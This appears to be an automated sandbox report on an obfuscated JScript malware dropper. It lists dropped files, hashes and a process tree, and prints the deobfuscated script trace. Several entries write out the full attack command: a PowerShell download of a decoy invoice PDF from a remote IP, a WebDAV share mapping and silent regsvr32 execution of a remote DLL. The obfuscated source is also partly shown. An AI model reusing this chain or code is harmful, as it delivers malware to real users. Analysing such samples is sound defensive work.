Preview:	...........[.s.8..}.....!#..gw.n.`uNl.f6.3....d%EK.D["...#.......!)...r.$.G.......Z..u.._>.~....^e..<..u..........._D.r.Z..M.:...$.I..N.....\`.B.wj...:...E\|.P..$ni.{.....T.^~<m-..J....RQk....f.....q.......V.rC.M.b.DiL\.....wq....$&j....O.........~.U.+..So.]..n..#OJ..p./..-......<...5..WB.O....i....<./T.P.L.;.....h.ik..DT...<...j..o..fz~..~."...w&.fB...4..@[.g.......Y.>/M.".....-..N.{.2.....\....h..ER..._..(.-..o97..[.t:..>..W..0.....u...?.%...1u..fg..`.Z.....m ~.GKG.q{.vU.nr..W.%.W..#z..l.T......1.....}.6......D.O...:....PX.........R.....j.WD).M..9.Fw...W.-a..z.l\..u.^....L..^.`.T...l.^.B.DMc.d....i...o.\|M.uF\|.nQ.L.E,.b!..NG.....<...J......g.o....;&5..'a.M...l..1.V.iB2.T._I....".+.W.yA ._.......<.O......O$."C....n!H.L`..q.....5..~./.._t.......A....S..3........Q[..+..e..P;...O...x~<B........'.)...n.$e.m.:...m.....&..Y.".H.s....5.9..A5)....s&.k0,.g4.V.K.,.e....5...X.}6.P....y\.s\|..Si..BB..y...~.....D^g...7'T-.5.!K.$\...2.

C:\Users\user\AppData\Local\Temp\invoice.pdf

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	PDF document, version 1.7
Category:	dropped
Size (bytes):	635764
Entropy (8bit):	7.929592005409041
Encrypted:	false
SSDEEP:	12288:+ZLfaHa9wphzjERQ/JTckor+EURE+AwAX75pfGJKsKca+e7lEjYQ:+ZyjgQRRor+lRJAwAXlpoKgQ76jYQ
MD5:	91A2AF9E2A61ABF7D9977999FBF9879E
SHA1:	F6E4FA02DD15B27F74553FB1B220A4D2DF385267
SHA-256:	FC3518D746CDB3738DA976551795B9727619F41F89AC0641533126E2F69B969A
SHA-512:	8B27CC0E0E902ABB59735FF4FC67789C0F0F9A1BF3F619A7AFAEAAA13A9AFCF9C82F25596719A65EC15221EBAE16EF9701CDB48F372BBF1BE08CB568DBE41D7C
Malicious:	false
Preview:	%PDF-1.7.%.....1 0 obj.<< /Pages 3 0 R /Type /Catalog >>.endobj.2 0 obj.<< /Type /ObjStm /Length 56 /Filter /FlateDecode /N 1 /First 4 >>.stream.x.3V0.Q.w./.+Q0T...L)V.V0Q0P.R.U...,HU..HLO-V.....%0.mendstream.endobj.4 0 obj.<< /Contents 5 0 R /Group << /CS /DeviceRGB /I true /S /Transparency /Type /Group >> /MediaBox [ 0 0 594.96 840.96 ] /Parent 3 0 R /Resources 6 0 R /StructParents 0 /Type /Page >>.endobj.5 0 obj.<< /Filter /FlateDecode /Length 75 >>.stream.x.3T0.B]C aab.gi....U.e...E........\ E..&@yC.:.l.B.W.B!P9D..~...K>W ...&...endstream.endobj.6 0 obj.<< /ExtGState << /a0 << /CA 1 /ca 1 >> >> /XObject << /x7 7 0 R >> >>.endobj.7 0 obj.<< /BBox [ 0 0 595 841 ] /Filter /FlateDecode /Resources 8 0 R /Subtype /Form /Type /XObject /Length 59 >>.stream.x.+..T(..O/6PH/.*.2.4.4S0.B]......H...O..S.04Tp....B.....endstream.endobj.8 0 obj.<< /ExtGState << /a0 << /CA 1 /ca 1 >> /gs0 << /BM /Normal /CA 1.0 /SMask /None /ca 1.0 >> >> /XObject << /x11 9 0 R >> >>.endobj.9 0 obj.<< /BitsPerCo

C:\Users\user\AppData\Roaming\Adobe\Acrobat\DC\Security\CRLCache\915DEAC5D1E15E49646B8A94E04E470958C9BB89.crl

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	98682
Entropy (8bit):	6.445287254681573
Encrypted:	false
SSDEEP:	1536:0tlkIi4M2MXZcFVZNt0zfIagnbSLDII+D61S8:03kf4MlpyZN+gbE8pD61L
MD5:	7113425405A05E110DC458BBF93F608A
SHA1:	88123C4AD0C5E5AFB0A3D4E9A43EAFDF7C4EBAAF
SHA-256:	7E5C3C23B9F730818CDC71D7A2EA01FE57F03C03118D477ADB18FA6A8DBDBC46
SHA-512:	6AFE246B0B5CD5DE74F60A19E31822F83CCA274A61545546BDA90DDE97C84C163CB1D4277D0F4E0F70F1E4DE4B76D1DEB22992E44030E28EB9E56A7EA2AB5E8D
Malicious:	false
Preview:	0...u0...\...0....H........0i1.0...U....US1.0...U....DigiCert, Inc.1A0?..U...8DigiCert Trusted G4 Code Signing RSA4096 SHA384 2021 CA1..240807121815Z..240814121815Z0..~.0!.......0.E....[0...210531000001Z0!...7g...(..^`.x.l...210531000001Z0!...\./M.8..>.f.....210531000001Z0!...B.Sh...f...s.0..210531000001Z0!..../n...h..7....>..210601000001Z0!....0..>5..aN.u{D..210601000001Z0!...-...qpWa.!n.....210601000001Z0!..."f...\..N.....X..210601000001Z0!...in.H...[u...]....210602000001Z0!......`......._.]...210602000001Z0!...{..e..i......=..210602000001Z0!......S....fNj'.wy..210602000001Z0!......C.lm..B.*.....210602000001Z0!... .}...\|.,dk...+..210603000001Z0!...U.K....o.".Rj..210603000001Z0!.....A...K.ZpK..'h..210603000001Z0!.....&}{ ......l..210603000001Z0!...:.m...I.p.;..v..210604000001Z0!...1"uw3..Gou.qg.q..210607000001Z0!...1.o}...c/...-R}..210608000001Z0!................210608000001Z0!...[.N.d............210609000001Z0!......x..i........210610000001Z0!...(... (..#.^.f...210

C:\Users\user\AppData\Roaming\Adobe\Acrobat\DC\Security\CRLCache\DF22CF8B8C3B46C10D3D5C407561EABEB57F8181.crl

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	737
Entropy (8bit):	7.501268097735403
Encrypted:	false
SSDEEP:	12:yeRLaWQMnFQlRKfdFfBy6T6FYoX0fH8PkwWWOxPLA3jw/fQMlNdP8LOUa:y2GWnSKfdtw46FYfP1icPLHCfa
MD5:	5274D23C3AB7C3D5A4F3F86D4249A545
SHA1:	8A3778F5083169B281B610F2036E79AEA3020192
SHA-256:	8FEF0EEC745051335467846C2F3059BD450048E744D83EBE6B7FD7179A5E5F97
SHA-512:	FC3E30422A35A78C93EDB2DAD6FAF02058FC37099E9CACD639A079DF70E650FEC635CF7592FFB069F23E90B47B0D7CF3518166848494A35AF1E10B50BB177574
Malicious:	false
Preview:	0...0.....0....H........0b1.0...U....US1.0...U....DigiCert Inc1.0...U....www.digicert.com1!0...U....DigiCert Trusted Root G4..240806194648Z..240827194648Z.00.0...U.#..0.......q]dL..g?....O0...U........0....H.............vz..@.Nm...6d...t;.Jx?....6...p...#.[.......o.q...;.........?......o...^p0R.......~....)....i.n;A.n.z..O~..%=..s..W.4.+........G...*..=....xen$_i"s..\...L..4../<.4...G.....L...c..k@.J.rC.4h.c.ck./.Q-r53..a#.8#......0.n......a.-'..S. .>..xAKo.k.....;.D>....sb '<..-o.KE...X!i.].c.....o~.q........D...`....N... W:{.3......a@....i....#./..eQ...e.......W.s..V:.38..U.H{.>.....#....?{.....bYAk'b0on..Gb..-..).."q2GO<S.C...FsY!D....x..]4.....X....Y...Rj.....I.96$.4ZQ&..$,hC..H.%..hE....

C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	55
Entropy (8bit):	4.306461250274409
Encrypted:	false
SSDEEP:	3:YDQRWu83XfAw2fHbY:YMRl83Xt2f7Y
MD5:	DCA83F08D448911A14C22EBCACC5AD57
SHA1:	91270525521B7FE0D986DB19747F47D34B6318AD
SHA-256:	2B4B2D4A06044AD0BD2AE3287CFCBECD90B959FEB2F503AC258D7C0A235D6FE9
SHA-512:	96F3A02DC4AE302A30A376FC7082002065C7A35ECB74573DE66254EFD701E8FD9E9D867A2C8ABEB4C482738291B715D4965A0D2412663FDF1EE6CBC0BA9FBACA
Malicious:	false
Preview:	{"fontSetUri":"fontset-2017-04.json","baseUri":"fonts"}

Static File Info

General

File type:	ASCII text, with very long lines (16903), with CRLF line terminators
Entropy (8bit):	4.9025242165035765
TrID:
File name:	5545194012153110815.js
File size:	20'271 bytes
MD5:	05510720b7f1c86f1f92b25735566d6d
SHA1:	962d82083ec5b914b22337912dc0753f8e60f582
SHA256:	2c10e18d2878ab51b662474db5078045e77659bebd456df212494f1bb341bb6a
SHA512:	3ff3be8c29c586dfba5fc6df186bb7fedf2517ef1c9dd09bba366fe3d2ad5f66f8d645907b83571a8b9f451f9fe25cc63eda87f79b65d0ab2c558321e947356f
SSDEEP:	384:eB/An/oUQvQlwkIp0+aNgY5dDX1S7QQQ0G7TrJVe5go1nb2:9oUkeJzDX1TQQzrJVe5go1S
TLSH:	25929684964BCE7386D981F8556B0495215D02CD9AA18BC8788F7884DBB17BCC2F26FF
File Content Preview:	function dfmbxhqry(){wehtju=[1031,3079,5127,4103,2055,3072];var gmqnksz=this[jlrlaha+pvlopaky+dgppmm+qisgjoasc+pvsvzyk+ibyokejjt+qtuphly+dgpqkp](this[doxrzsty+iwdmt+bwqrch+dgppmm+gvqpyvgy+jlrlaha+dgpqkp][bvfcsna+dgppmm+pvsvzyk+pvlopaky+dgpqkp+pvsvzyk+liaz

File Icon


Icon Hash:	68d69b8bb6aa9a86

Target ID:	1
Start time:	17:23:46
Start date:	10/01/2025
Path:	C:\Windows\System32\wscript.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\5545194012153110815.js"
Imagebase:	0x7ff7d27d0000
File size:	170'496 bytes
MD5 hash:	A47CBE969EA935BDD3AB568BB126BC80
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	3
Start time:	17:23:47
Start date:	10/01/2025
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\139233235618343.dll
Imagebase:	0x7ff7dfee0000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	4
Start time:	17:23:47
Start date:	10/01/2025
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff75da10000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	5
Start time:	17:23:47
Start date:	10/01/2025
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Imagebase:	0x7ff741d30000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	6
Start time:	17:23:50
Start date:	10/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user~1\AppData\Local\Temp\invoice.pdf"
Imagebase:	0x7ff702560000
File size:	5'641'176 bytes
MD5 hash:	24EAD1C46A47022347DC0F05F6EFBB8C
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	7
Start time:	17:23:50
Start date:	10/01/2025
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	cmd /c net use \\193.143.1.205@8888\davwwwroot\
Imagebase:	0x7ff7dfee0000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	8
Start time:	17:23:51
Start date:	10/01/2025
Path:	C:\Windows\System32\net.exe
Wow64 process (32bit):	true
Commandline:	net use \\193.143.1.205@8888\davwwwroot\
Imagebase:	0x2a0000
File size:	59'904 bytes
MD5 hash:	0BD94A338EEA5A4E1F2830AE326E6D19
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	9
Start time:	17:23:51
Start date:	10/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215
Imagebase:	0x7ff6c3ff0000
File size:	3'581'912 bytes
MD5 hash:	9B38E8E8B6DD9622D24B53E095C5D9BE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	10
Start time:	17:23:51
Start date:	10/01/2025
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Imagebase:	0x7ff7b4ee0000
File size:	55'320 bytes
MD5 hash:	B7F884C1B74A263F746EE12A5F7C9F6A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	11
Start time:	17:23:51
Start date:	10/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2132 --field-trial-handle=1540,i,146032885069178722,7613249884604742587,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8
Imagebase:	0x7ff6c3ff0000
File size:	3'581'912 bytes
MD5 hash:	9B38E8E8B6DD9622D24B53E095C5D9BE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

JavaScript Code

Call Graph

Executed
Not Executed

Script:

Code
0	function dfmbxhqry() {	dfmbxhqry() ➔ undefined
1	wehtju = [ 1031, 3079, 5127, 4103, 2055, 3072 ];
2	var gmqnksz = this[jlrlaha + pvlopaky + dgppmm + qisgjoasc + pvsvzyk + ibyokejjt + qtuphly + dgpqkp] ( this[doxrzsty + iwdmt + bwqrch + dgppmm + gvqpyvgy + jlrlaha + dgpqkp][bvfcsna + dgppmm + pvsvzyk + pvlopaky + dgpqkp + pvsvzyk + liazwbg + fvjxaygg + xwrjz + pvsvzyk + bwqrch + dgpqkp] ( doxrzsty + iwdmt + bwqrch + dgppmm + gvqpyvgy + jlrlaha + dgpqkp + sudrue + iwdmt + elolyybr + pvsvzyk + ahtgds + ahtgds ) [snaok + pvsvzyk + loilqvp + snaok + pvsvzyk + pvlopaky + lauip] ( rrdreeo + xoimd + egaurpq + kjohpf + aaojehe + bvfcsna + nysadd + snaok + snaok + egaurpq + zwted + elwbv + aaojehe + nysadd + iwdmt + egaurpq + snaok + kwefxzjt + bvfcsna + jmxqqv + qtuphly + dgpqkp + dgppmm + jmxqqv + ahtgds + edqua + toenercwn + pvlopaky + qtuphly + pvsvzyk + ahtgds + kwefxzjt + ibyokejjt + qtuphly + dgpqkp + pvsvzyk + dgppmm + qtuphly + pvlopaky + dgpqkp + gvqpyvgy + jmxqqv + qtuphly + pvlopaky + ahtgds + kwefxzjt + tizhqc + jmxqqv + bwqrch + pvlopaky + ahtgds + pvsvzyk ), 16 );	Windows Script Host.CreateObject("WScript.Shell") ➔ RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale") ➔ "00000C00" parseInt("00000C00",16) ➔ 3072
3	for ( pcngncrv = 0 ; pcngncrv < wehtju[ahtgds + pvsvzyk + qtuphly + loilqvp + dgpqkp + elolyybr] ; ++ pcngncrv )
4	{
5	if ( gmqnksz == wehtju[pcngncrv] )
6	{
7	gmqnksz = true;
8	break ;
9	}
10	}
11	if ( gmqnksz !== true )
12	this[doxrzsty + iwdmt + bwqrch + dgppmm + gvqpyvgy + jlrlaha + dgpqkp][ylqzujr + vnhww + gvqpyvgy + dgpqkp] ( );
13	this[doxrzsty + iwdmt + bwqrch + dgppmm + gvqpyvgy + jlrlaha + dgpqkp][bvfcsna + dgppmm + pvsvzyk + pvlopaky + dgpqkp + pvsvzyk + liazwbg + fvjxaygg + xwrjz + pvsvzyk + bwqrch + dgpqkp] ( doxrzsty + iwdmt + bwqrch + dgppmm + gvqpyvgy + jlrlaha + dgpqkp + sudrue + iwdmt + elolyybr + pvsvzyk + ahtgds + ahtgds ) [dgppmm + vnhww + qtuphly] ( bwqrch + ozsznfeol + lauip + edqua + geeyln + bwqrch + edqua + jlrlaha + jmxqqv + iwagaocz + pvsvzyk + dgppmm + qisgjoasc + elolyybr + pvsvzyk + ahtgds + ahtgds + sudrue + pvsvzyk + mtfzb + pvsvzyk + edqua + tdvypya + bvfcsna + jmxqqv + ozsznfeol + ozsznfeol + pvlopaky + qtuphly + lauip + edqua + dcttmhi + ibyokejjt + qtuphly + keofygtv + jmxqqv + xcycp + pvsvzyk + tdvypya + doxrzsty + pvsvzyk + fvjxaygg + snaok + pvsvzyk + zmztssln + vnhww + pvsvzyk + qisgjoasc + dgpqkp + edqua + tdvypya + liazwbg + vnhww + dgpqkp + rsrcnrei + gvqpyvgy + ahtgds + pvsvzyk + edqua + yzvbiilut + dgpqkp + pvsvzyk + ozsznfeol + jlrlaha + yzvbiilut + kwefxzjt + gvqpyvgy + qtuphly + keofygtv + jmxqqv + gvqpyvgy + bwqrch + pvsvzyk + sudrue + jlrlaha + lauip + wjvvuxb + edqua + elolyybr + dgpqkp + dgpqkp + jlrlaha + urszryc + geeyln + geeyln + perqsfxwk + bkedorpc + cebxc + sudrue + perqsfxwk + obvyee + cebxc + sudrue + perqsfxwk + sudrue + akjty + lgqzlbve + ovvzf + geeyln + gvqpyvgy + qtuphly + keofygtv + jmxqqv + gvqpyvgy + bwqrch + pvsvzyk + sudrue + jlrlaha + elolyybr + jlrlaha + dcttmhi + ompxouge + ompxouge + qisgjoasc + dgpqkp + pvlopaky + dgppmm + dgpqkp + edqua + yzvbiilut + dgpqkp + pvsvzyk + ozsznfeol + jlrlaha + yzvbiilut + kwefxzjt + gvqpyvgy + qtuphly + keofygtv + jmxqqv + gvqpyvgy + bwqrch + pvsvzyk + sudrue + jlrlaha + lauip + wjvvuxb + ompxouge + ompxouge + bwqrch + ozsznfeol + lauip + edqua + geeyln + bwqrch + edqua + qtuphly + pvsvzyk + dgpqkp + edqua + vnhww + qisgjoasc + pvsvzyk + edqua + kwefxzjt + kwefxzjt + perqsfxwk + bkedorpc + cebxc + sudrue + perqsfxwk + obvyee + cebxc + sudrue + perqsfxwk + sudrue + akjty + lgqzlbve + ovvzf + zkzqqixcd + rzwdb + rzwdb + rzwdb + rzwdb + kwefxzjt + lauip + pvlopaky + keofygtv + iwagaocz + iwagaocz + iwagaocz + dgppmm + jmxqqv + jmxqqv + dgpqkp + kwefxzjt + ompxouge + ompxouge + bwqrch + ozsznfeol + lauip + edqua + geeyln + bwqrch + edqua + dgppmm + pvsvzyk + loilqvp + qisgjoasc + keofygtv + dgppmm + cebxc + akjty + edqua + geeyln + qisgjoasc + edqua + kwefxzjt + kwefxzjt + perqsfxwk + bkedorpc + cebxc + sudrue + perqsfxwk + obvyee + cebxc + sudrue + perqsfxwk + sudrue + akjty + lgqzlbve + ovvzf + zkzqqixcd + rzwdb + rzwdb + rzwdb + rzwdb + kwefxzjt + lauip + pvlopaky + keofygtv + iwagaocz + iwagaocz + iwagaocz + dgppmm + jmxqqv + jmxqqv + dgpqkp + kwefxzjt + perqsfxwk + cebxc + bkedorpc + akjty + cebxc + cebxc + akjty + cebxc + ovvzf + lsfll + perqsfxwk + rzwdb + cebxc + obvyee + cebxc + sudrue + lauip + ahtgds + ahtgds, 0, false );	Windows Script Host.CreateObject("WScript.Shell") ➔ run("cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\invoice.pdf http://193.143.1.205/invoice.php"&&start %temp%\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\139233235618343.dll",0,false) ➔ 0
14	}
15	gvqpyvgy = "u";
16	gvqpyvgy = "B";
17	gvqpyvgy = "Y";
18	gvqpyvgy = "f";
19	gvqpyvgy = "s";
20	gvqpyvgy = "j";
21	gvqpyvgy = "t";
22	gvqpyvgy = "j";
23	gvqpyvgy = "k";
24	gvqpyvgy = "x";
25	gvqpyvgy = "G";
26	gvqpyvgy = "E";
27	gvqpyvgy = "Y";
28	gvqpyvgy = "A";
29	gvqpyvgy = "P";
30	gvqpyvgy = "j";
31	gvqpyvgy = "u";
32	gvqpyvgy = "b";
33	gvqpyvgy = "Y";
34	gvqpyvgy = "Z";
35	gvqpyvgy = "e";
36	gvqpyvgy = "R";
37	gvqpyvgy = "n";
38	gvqpyvgy = "M";
39	gvqpyvgy = "m";
40	gvqpyvgy = "i";
41	elolyybr = "j";
42	elolyybr = "A";
43	elolyybr = "i";
44	elolyybr = "m";
45	elolyybr = "Z";
46	elolyybr = "I";
47	elolyybr = "k";
48	elolyybr = "U";
49	elolyybr = "h";
50	elolyybr = "K";
51	elolyybr = "g";
52	elolyybr = "M";
53	elolyybr = "W";
54	elolyybr = "G";
55	elolyybr = "Y";
56	elolyybr = "D";
57	elolyybr = "v";
58	elolyybr = "j";
59	elolyybr = "B";
60	elolyybr = "F";
61	elolyybr = "e";
62	elolyybr = "n";
63	elolyybr = "t";
64	elolyybr = "B";
65	elolyybr = "e";
66	elolyybr = "I";
67	elolyybr = "h";
68	loilqvp = "I";
69	loilqvp = "c";
70	loilqvp = "o";
71	loilqvp = "x";
72	loilqvp = "H";
73	loilqvp = "f";
74	loilqvp = "e";
75	loilqvp = "N";
76	loilqvp = "r";
77	loilqvp = "i";
78	loilqvp = "I";
79	loilqvp = "Z";
80	loilqvp = "r";
81	loilqvp = "g";
82	pvsvzyk = "x";
83	pvsvzyk = "z";
84	pvsvzyk = "o";
85	pvsvzyk = "L";
86	pvsvzyk = "Z";
87	pvsvzyk = "T";
88	pvsvzyk = "D";
89	pvsvzyk = "Q";
90	pvsvzyk = "x";
91	pvsvzyk = "K";
92	pvsvzyk = "W";
93	pvsvzyk = "O";
94	pvsvzyk = "W";
95	pvsvzyk = "L";
96	pvsvzyk = "e";
97	akjty = "D";
98	akjty = "l";
99	akjty = "k";
100	akjty = "o";
101	akjty = "x";
102	akjty = "i";
103	akjty = "u";
104	akjty = "f";
105	akjty = "Y";
106	akjty = "e";
107	akjty = "u";
108	akjty = "f";
109	akjty = "G";
110	akjty = "k";
111	akjty = "e";
112	akjty = "p";
113	akjty = "t";
114	akjty = "M";
115	akjty = "y";
116	akjty = "d";
117	akjty = "S";
118	akjty = "d";
119	akjty = "g";
120	akjty = "x";
121	akjty = "l";
122	akjty = "e";
123	akjty = "G";
124	akjty = "B";
125	akjty = "r";
126	akjty = "P";
127	akjty = "L";
128	akjty = "V";
129	akjty = "o";
130	akjty = "v";
131	akjty = "k";
132	akjty = "X";
133	akjty = "P";
134	akjty = "j";
135	akjty = "r";
136	akjty = "c";
137	akjty = "c";
138	akjty = "c";
139	akjty = "J";
140	akjty = "2";
141	keofygtv = "F";
142	keofygtv = "r";
143	keofygtv = "M";
144	keofygtv = "V";
145	keofygtv = "D";
146	keofygtv = "h";
147	keofygtv = "y";
148	keofygtv = "j";
149	keofygtv = "v";
150	xcycp = "x";
151	xcycp = "j";
152	xcycp = "s";
153	xcycp = "d";
154	xcycp = "u";
155	xcycp = "g";
156	xcycp = "G";
157	xcycp = "E";
158	xcycp = "C";
159	xcycp = "H";
160	xcycp = "h";
161	xcycp = "L";
162	xcycp = "m";
163	xcycp = "F";
164	xcycp = "D";
165	xcycp = "V";
166	xcycp = "R";
167	xcycp = "J";
168	xcycp = "U";
169	xcycp = "l";
170	xcycp = "f";
171	xcycp = "C";
172	xcycp = "L";
173	xcycp = "p";
174	xcycp = "d";
175	xcycp = "f";
176	xcycp = "k";
177	ylqzujr = "U";
178	ylqzujr = "V";
179	ylqzujr = "d";
180	ylqzujr = "c";
181	ylqzujr = "a";
182	ylqzujr = "I";
183	ylqzujr = "o";
184	ylqzujr = "o";
185	ylqzujr = "l";
186	ylqzujr = "M";
187	ylqzujr = "o";
188	ylqzujr = "t";
189	ylqzujr = "i";
190	ylqzujr = "t";
191	ylqzujr = "r";
192	ylqzujr = "R";
193	ylqzujr = "s";
194	ylqzujr = "B";
195	ylqzujr = "I";
196	ylqzujr = "A";
197	ylqzujr = "B";
198	ylqzujr = "Y";
199	ylqzujr = "J";
200	ylqzujr = "t";
201	ylqzujr = "o";
202	ylqzujr = "D";
203	ylqzujr = "O";
204	ylqzujr = "l";
205	ylqzujr = "c";
206	ylqzujr = "f";
207	ylqzujr = "j";
208	ylqzujr = "Q";
209	ozsznfeol = "w";
210	ozsznfeol = "E";
211	ozsznfeol = "e";
212	ozsznfeol = "M";
213	ozsznfeol = "L";
214	ozsznfeol = "S";
215	ozsznfeol = "O";
216	ozsznfeol = "c";
217	ozsznfeol = "p";
218	ozsznfeol = "D";
219	ozsznfeol = "u";
220	ozsznfeol = "X";
221	ozsznfeol = "x";
222	ozsznfeol = "s";
223	ozsznfeol = "j";
224	ozsznfeol = "f";
225	ozsznfeol = "o";
226	ozsznfeol = "Z";
227	ozsznfeol = "c";
228	ozsznfeol = "g";
229	ozsznfeol = "l";
230	ozsznfeol = "j";
231	ozsznfeol = "U";
232	ozsznfeol = "w";
233	ozsznfeol = "R";
234	ozsznfeol = "K";
235	ozsznfeol = "S";
236	ozsznfeol = "C";
237	ozsznfeol = "y";
238	ozsznfeol = "G";
239	ozsznfeol = "G";
240	ozsznfeol = "U";
241	ozsznfeol = "G";
242	ozsznfeol = "r";
243	ozsznfeol = "m";
244	qtuphly = "U";
245	qtuphly = "N";
246	qtuphly = "K";
247	qtuphly = "X";
248	qtuphly = "T";
249	qtuphly = "C";
250	qtuphly = "I";
251	qtuphly = "Z";
252	qtuphly = "l";
253	qtuphly = "x";
254	qtuphly = "Q";
255	qtuphly = "R";
256	qtuphly = "x";
257	qtuphly = "C";
258	qtuphly = "z";
259	qtuphly = "y";
260	qtuphly = "H";
261	qtuphly = "f";
262	qtuphly = "q";
263	qtuphly = "n";
264	zwted = "y";
265	zwted = "K";
266	zwted = "r";
267	zwted = "O";
268	zwted = "N";
269	zwted = "b";
270	zwted = "A";
271	zwted = "t";
272	zwted = "N";
273	zwted = "d";
274	zwted = "v";
275	zwted = "b";
276	zwted = "Z";
277	zwted = "N";
278	qisgjoasc = "V";
279	qisgjoasc = "z";
280	qisgjoasc = "f";
281	qisgjoasc = "Y";
282	qisgjoasc = "u";
283	qisgjoasc = "z";
284	qisgjoasc = "k";
285	qisgjoasc = "U";
286	qisgjoasc = "i";
287	qisgjoasc = "i";
288	qisgjoasc = "O";
289	qisgjoasc = "E";
290	qisgjoasc = "w";
291	qisgjoasc = "k";
292	qisgjoasc = "x";
293	qisgjoasc = "z";
294	qisgjoasc = "h";
295	qisgjoasc = "N";
296	qisgjoasc = "k";
297	qisgjoasc = "t";
298	qisgjoasc = "u";
299	qisgjoasc = "l";
300	qisgjoasc = "p";
301	qisgjoasc = "v";
302	qisgjoasc = "C";
303	qisgjoasc = "s";
304	qisgjoasc = "Y";
305	qisgjoasc = "C";
306	qisgjoasc = "I";
307	qisgjoasc = "C";
308	qisgjoasc = "a";
309	qisgjoasc = "C";
310	qisgjoasc = "s";
311	zmztssln = "m";
312	zmztssln = "U";
313	zmztssln = "i";
314	zmztssln = "W";
315	zmztssln = "R";
316	zmztssln = "P";
317	zmztssln = "N";
318	zmztssln = "l";
319	zmztssln = "b";
320	zmztssln = "B";
321	zmztssln = "V";
322	zmztssln = "f";
323	zmztssln = "l";
324	zmztssln = "g";
325	zmztssln = "B";
326	zmztssln = "Z";
327	zmztssln = "D";
328	zmztssln = "b";
329	zmztssln = "p";
330	zmztssln = "f";
331	zmztssln = "s";
332	zmztssln = "G";
333	zmztssln = "K";
334	zmztssln = "X";
335	zmztssln = "O";
336	zmztssln = "r";
337	zmztssln = "x";
338	zmztssln = "a";
339	zmztssln = "C";
340	zmztssln = "q";
341	jlrlaha = "V";
342	jlrlaha = "p";
343	vnhww = "b";
344	vnhww = "D";
345	vnhww = "R";
346	vnhww = "e";
347	vnhww = "O";
348	vnhww = "A";
349	vnhww = "b";
350	vnhww = "u";
351	ovvzf = "S";
